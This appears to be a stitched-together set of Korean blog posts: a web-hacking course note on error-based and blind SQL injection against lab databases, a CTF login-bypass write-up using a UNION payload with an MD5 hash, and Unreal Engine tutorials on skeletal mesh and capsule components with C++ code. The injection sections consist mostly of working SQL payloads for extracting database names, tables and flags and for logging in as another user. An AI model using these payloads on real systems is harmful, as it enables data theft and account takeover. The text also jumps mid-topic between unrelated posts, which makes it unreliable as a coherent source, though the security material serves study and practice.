Error Based SQL Injection

SQL의 에러가 화면에 노출 될 때 사용된다.

 

일반적으로는 ERROR 가 화면에 노출되지 않고 뭉뚱그려 500에러로 발생되지만 개발자가 에러를 확인하기 위해 SQL의 에러를 화면에 표기되도록 만들었을 때 사용 할 수 있다. 

각 DB마다 사용하기 적절한 함수가 별도로 있으나 대표적으로 MySQL의 경우 "extractvalue"가 있다.

 

extractvalue는 extractvalue(val1, val2)로 되어 있으며 val1에서 val2의 xml 값을 찾아 표기하게 되는데 에러 메시지에서 val2의 값을 볼 수 있다 이를 활용하여 val2에 select를 추가 작성하여 값을 확인 할 수 있다.

 

예시

입력 값 : noraltic' and extractvalue('1', concat(0x3a, 'test')) #

 

 

그렇다면 test 대신 SELECT를 사용하여 DATABASE를 알아보자 

 

입력 값 : noraltic' and extractvalue('1', concat(0x3a, (select database() from dual limit 1) )) #

 

현재 사용하는 DB는errorSqli 라는 DB이다.

이제 사용하는 테이블들을 확인해보자

 입력 데이터 : noraltic' and extractvalue('1', concat(0x3a, (
select TABLE_NAME from information_schema.TABLES limit 60,1
) )) #

경험상으로 기본테이블은 약 60개라 limit을 60부터 시작했다.

테이블명은 flagTable이다.

 

이제 테이블에 사용되는 컬럼들을 찾아보자.

입력 데이터:

noraltic' and extractvalue('1', concat(0x3a, (
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'flagTable' limit 1,1
) )) #

컬럼까지 확인 했으니 조회를 해보자

 

입력 데이터:

noraltic' and extractvalue('1', concat(0x3a, (
select flag from flagTable limit 0,1
) )) #

 

데이터를 찾을 수 있다.


Blind SQL Injection

데이터의 결과를 참과 거짓으로 데이터를 추출하는 방식이다. 

아주 간단한 예시를 들자면 비밀번호가 1020이라는 값을 가진 row가 있다.

 

1020의 첫 번째 글자가 0이 맞는가? -> 거짓

1020의 첫 번째 글자가 1이 맞는가? -> 참

1020듸 두 번째 글자가 0이 맞는가? -> 참

.....

이와 같은 방식으로 데이터가 어떠한 문자를 가지는지 한글자씩 비교하는 방식이다.

 

많은 케이스를 대입해봐야하기 때문에 시간이 오래 걸리지만 참과 거짓이라는 간단한 명제를 사용하기 때문에 다양한 케이스에서 사용될 수있는 SQL Inejction이다.

예시

입력 데이터: normaltic' and ('1'='1') and '1'='1

해당 내용은 참이다. 이제 ('1'='1')에 참 거짓 명제를 넣어 Database를 알아내보자

 

입력 데이터들

normaltic' and (select length(database())=9) and '1'='1 ============> 총 9글자

normaltic' and (select substring(database(), 1,1)='a') and '1'='1  ====> 거짓

normaltic' and (select substring(database(), 1,1)='b') and '1'='1 =====> 참 (어라 blind인가?)

normaltic' and (select substring(database(), 2,1)='l') and '1'='1 ======> 참 (bl)

normaltic' and (select substring(database(), 3,1)='i') and '1'='1 ======> 참 (bli)

normaltic' and (select substring(database(), 4,1)='n') and '1'='1 ======> 참 (blin)

normaltic' and (select substring(database(), 5,1)='d') and '1'='1 ======> 참 (blind)

normaltic' and (select substring(database(), 6,1)='s') and '1'='1 ======> 참 (blind)

normaltic' and (select database()='blindSqli') and '1'='1 ==============> 참

 

 

 

 

참고로 위는 기존까지의 DB 패턴을 봐서 짐작하여 진행했다.

이러한 짐작을 할 수 없을 때를 대비해 빠르가 찾는 방법이 있다.

문자열을 ASCII로 변환하면 숫자가 되며 숫자를 찾을 때 중간값을 정하고 중간값보다 큰 값인지 작은 값인지 비교한다. 필요 없는 값은 버리고 다시 포함된 값에서 중간값을 찾고, 이를 반복하면 정답까지 시간복잡도는 log(n)이된다.

 

이를 이진탐색이라 부른다. Tbale을 찾을 때 이진탐색을 활용하여 찾아보자 

 

z의 아스키 값은 122다 테이블 명에 {|}~와 같은 특수문자가 들어가 있지 않다면 

테이블의 첫 번째 문자열은 123보다 작을 것이다.

 

입력 데이터:

normaltic' and (
select 

               ASCII(substring(table_name, 1,1)) < 123 

from information_schema.tables where table_schema='blindSqli' limit 0,1
 ) and '1'='1

 

여기서 중요한 것은 123이 참이 나왔고 이 값을 변경하며 범위를 줄여나가는 것이다.

1차 60 ~ 123

2차 90 ~ 123

3차 90 ~ 110

4차 100 ~110

5차 100 ~105 

6차 103 이 나왔고 103 g

테이블의 첫 글자는 g이다.

이와 같은 방법으로 테이블을 찾아보자 

그 전에 총 글자수는 9글자이다.

 

테이블명은 flagTable

 

이제 컬럼명을 찾자 컬럼명은 falg일 것 같다...?

 

빙고 노가다 줄었다...

 

 

처음에 찾았는데 

자꾸 틀렸다고해서 다른분께 여쭤보니 SQL이 대소문자를 구분 안해서 발생한 것 이라고 한다...

SkeletalMeshComponent  USkeletalMesh 의 인스턴스를 만드는 데 사용됩니다. 스켈레탈 메시 (외형)에는 복잡한 스켈레톤 (서로 연결된 본)이 안에 있어, 스켈레탈 메시의 버텍스 각각을 현재 재생중인 애니메이션에 일치시키도록 도와줍니다. 그 덕에 SkeletalMeshComponent 는 캐릭터, 동물, 복잡한 기계, 복합적인 동작을 보이거나 변형이 필요한 것에 적합합니다.  - 언리얼 공식문서 -

 

즉 캐릭터, 동물 등 애니메이션이 있는 매쉬를 사용하기 위해 내부에 본이 들어간 매쉬를 위한 컴포넌트이다.


 

1. Skeletal Mesh

까마귀의 스켈레탈 매시

 

우측에 본들을 볼수 있다

 

 

이러한 작업 된 스캘레탈 메쉬는 마야, 블랜더 등에서 작업되어 넘어온다. (본을 삽입하고 움직이는 과정을 블랜더에서는 리깅이라고 한다)


2. Skeletal Mesh Component

위에서 확인한 스켈레탈 매쉬를 사용하기 위해 해당 컴포넌트를 생성하고 스캘레탈 매쉬를 할당해보자

Bird.h

// Fill out your copyright notice in the Description page of Project Settings.

#pragma once

#include "CoreMinimal.h"
#include "GameFramework/Pawn.h"
#include "Bird.generated.h"

UCLASS()
class TEST01_API ABird : public APawn
{
	GENERATED_BODY()

public:
	ABird();
	virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;
	virtual void Tick(float DeltaTime) override;


protected:
	// Called when the game starts or when spawned
	virtual void BeginPlay() override;

private:
	UPROPERTY(VisibleAnywhere)
	class UCapsuleComponent* Capsule;

	// 여기
	UPROPERTY(VisibleAnywhere)
	class USkeletalMeshComponent* BirdMesh;

};

Bird.cpp

 

// Fill out your copyright notice in the Description page of Project Settings.

#include "Components/CapsuleComponent.h"
#include "Components/SkeletalMeshComponent.h"
#include "Bird.h"

ABird::ABird()
{
	PrimaryActorTick.bCanEverTick = true;

	//생성자 위치에서 Capsule의 변수를 설정해줌
	Capsule = CreateDefaultSubobject<UCapsuleComponent>(TEXT("Capsule"));
	Capsule->SetCapsuleHalfHeight(20.f);
	Capsule->SetCapsuleRadius(15.f);
	// 폰의 최상위 컴포넌트를 Capsule로 바꿔준다.
	SetRootComponent(Capsule);

	BirdMesh = CreateDefaultSubobject<USkeletalMeshComponent>(TEXT("Bird"));
	BirdMesh->SetupAttachment(GetRootComponent());


}

void ABird::BeginPlay()
{
	Super::BeginPlay();
	
}

void ABird::Tick(float DeltaTime)
{
	Super::Tick(DeltaTime);

}

void ABird::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)
{
	Super::SetupPlayerInputComponent(PlayerInputComponent);

}

 

 

캡슐에 attech된 것을 볼 수 있다.

아직 뷰포트에는 까마귀의 매쉬가 보이지 않는다.

 

디테일 > 스케레탈 메시 에
스켈레탈 매쉬와 캡슐

좌측 하단에 보면 X, Y, Z가 보인다. X가 정면이므로 지금 까마귀는 측면을 보고 있는 것

까마귀를 회전시켜주자

 

까마귀의 머리가 x축을 바라보고 있다.

그리고 까마귀를 아래로 내려 캡술과 일치시키자

디테일 > 애니메이션

애니메이션을 추가해보자

 

블루 프린트를 드래그하여 화면으로 옮기면 까마귀와 캡슐을 볼 수 있다.

 

 

하늘을 나는 캡슐 까마귀 완성

 

문제

normaltic4 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


 

 

id pw 성공여부
doldol' union select '1', '1 dol1234 성공
wow' union select 'doldol', '1 1 실패
wow' union select 'doldol', '1  dol1234 실패
doldol' # dol1234 성공
doldol' # 123 실패

 

위의 케이스로 볼때 id로 비밀번호를 찾고 입력받은 비밀번호와 db의 비밀번호를 대조 한다.

단 비밀번호를 암호화 했다.

==========================================================================

그렇기 때문에 db에서 union으로 입력한 1의 값을넣어도 1 == '암호화한 값' 이 true가 아니기 때문에 

로그인을 할 수 없다. 하지만? 우리는 비밀번호를 알고 있는 하나의 계정을 안다.

즉 doldol의 비밀번호로 noranltic4를 로그인 시키면된다.

' union 'normaltic', (select {pw} from {table} where {id} == 'doldol')

=====================================결국 실패=======================

DB, Table, Column을 알 수있는 방법이 없어 포기

 

설마 암호화 한 값을 직접 뱉어내면 되겠지만... 그 많은 해시중에 뭐고 ..... salt값 있으면 안될테

' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'

옛날 수업노트를보니 md5를 사용하신것을 확인 할수 있었다. 

1을 md5하면 c4ca4238a0b923820dcc509a6f75849b 값이 나오며 

즉 로그인 할 때 1은 위와 같은 값이 되므로 

 

' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'

 

id='normaltic' pw='c4ca4238a0b923820dcc509a6f75849b' 값이 반환되고

BackEnd 로직에서 입력받은 1이라는 비밀번호 또한' c4ca4238a0b923820dcc509a6f75849b'로 변환되어

'c4ca4238a0b923820dcc509a6f75849b'== 'c4ca4238a0b923820dcc509a6f75849b'

가된다..

 

 

문서를 안봤다면 md5이 전에 sha-256 512 다른 삽질 엄청 했을 것 같다.

문서를 참고하라고 해주신 김진규님 감사합니다~

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 1  (1) 2023.12.18
Blind SQL 자동화  (0) 2023.12.14
CTF Athentication Bypass(Login Bypass 3)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 2)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 1)  (1) 2023.12.03

캡슈컴포넌트는 충돌감지에 사용된다

 

폴리곤에 직접 충돌감지를 할 수 있지만 복잡한 폴리곤의 경우 너무 많은 리소스비용이든다. 

이를 방지하기위해 캡슐컴포넌트를 사용한다.

캡슐 컴포넌트와 충돌(Collision)

 


1. 새로운 pawn의 생성

 

 

 

# Bird.h

// Fill out your copyright notice in the Description page of Project Settings.

#pragma once

#include "CoreMinimal.h"
#include "GameFramework/Pawn.h"
#include "Components/CapsuleComponent.h"
#include "Bird.generated.h"

UCLASS()
class TEST01_API ABird : public APawn
{
	GENERATED_BODY()

public:
	ABird();
	virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;
	virtual void Tick(float DeltaTime) override;


protected:
	// Called when the game starts or when spawned
	virtual void BeginPlay() override;

private:
	// 캡슐의 변수 선언
	UPROPERTY(VisibleAnywhere)
	UCapsuleComponent* Capsule;

};

 

# Bird.cpp

// Fill out your copyright notice in the Description page of Project Settings.


#include "Bird.h"

ABird::ABird()
{
	PrimaryActorTick.bCanEverTick = true;

	//생성자 위치에서 Capsule의 변수를 설정해줌
	Capsule = CreateDefaultSubobject<UCapsuleComponent>(TEXT("Capsule"));
        Capsule->SetCapsuleHalfHeight(20.f);
	Capsule->SetCapsuleRadius(15.f);
	// 폰의 최상위 컴포넌트를 Capsule로 바꿔준다.
	SetRootComponent(Capsule);


}

void ABird::BeginPlay()
{
	Super::BeginPlay();
	
}

void ABird::Tick(float DeltaTime)
{
	Super::Tick(DeltaTime);

}

void ABird::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)
{
	Super::SetupPlayerInputComponent(PlayerInputComponent);

}

 

# 블루프린트

 

캡슐의 생성
우측의 shape에서 높이와 반경을 결정할 수 있다.

 

 


Include Header

위의 예제에서 우리는 UCapsuleComponent를 Bird.h에 include 했다.

이와 같은 방식은 문제가 있다. 

이와 같이 최종적으로 사용하는 파일의 .h 파일은 기하급수적으로 많은 헤더 파일을 include 하게 될 뿐만아니라.

 

각 헤더파일끼리 Cross 참조하게 되는 경우 에러가 발생 한다.

 

이를 해결하기위해 UCapsuleComonent가 Class임을 명시하고 cpp 파일에서 include를 받는것이 바람직하다.

 

 

변경된 Bird.h 파일

#pragma once

#include "CoreMinimal.h"
#include "GameFramework/Pawn.h"
// UCapsuleComonent의 include가 사라졋다.
#include "Bird.generated.h"

UCLASS()
class TEST01_API ABird : public APawn
{
	GENERATED_BODY()

public:
	ABird();
	virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;
	virtual void Tick(float DeltaTime) override;


protected:
	// Called when the game starts or when spawned
	virtual void BeginPlay() override;

private:
	// 캡슐의 변수 선언 해당 변수가 class임을 명시한다.
	UPROPERTY(VisibleAnywhere)
	class UCapsuleComponent* Capsule;

};

 

Bird.cpp

// 컴포넌트 include
#include "Components/CapsuleComponent.h"
#include "Bird.h"

ABird::ABird()
{
	PrimaryActorTick.bCanEverTick = true;

	//생성자 위치에서 Capsule의 변수를 설정해줌
	Capsule = CreateDefaultSubobject<UCapsuleComponent>(TEXT("Capsule"));
	Capsule->SetCapsuleHalfHeight(20.f);
	Capsule->SetCapsuleRadius(15.f);
	// 폰의 최상위 컴포넌트를 Capsule로 바꿔준다.
	SetRootComponent(Capsule);


}
// 이하 생략

 

+ Recent posts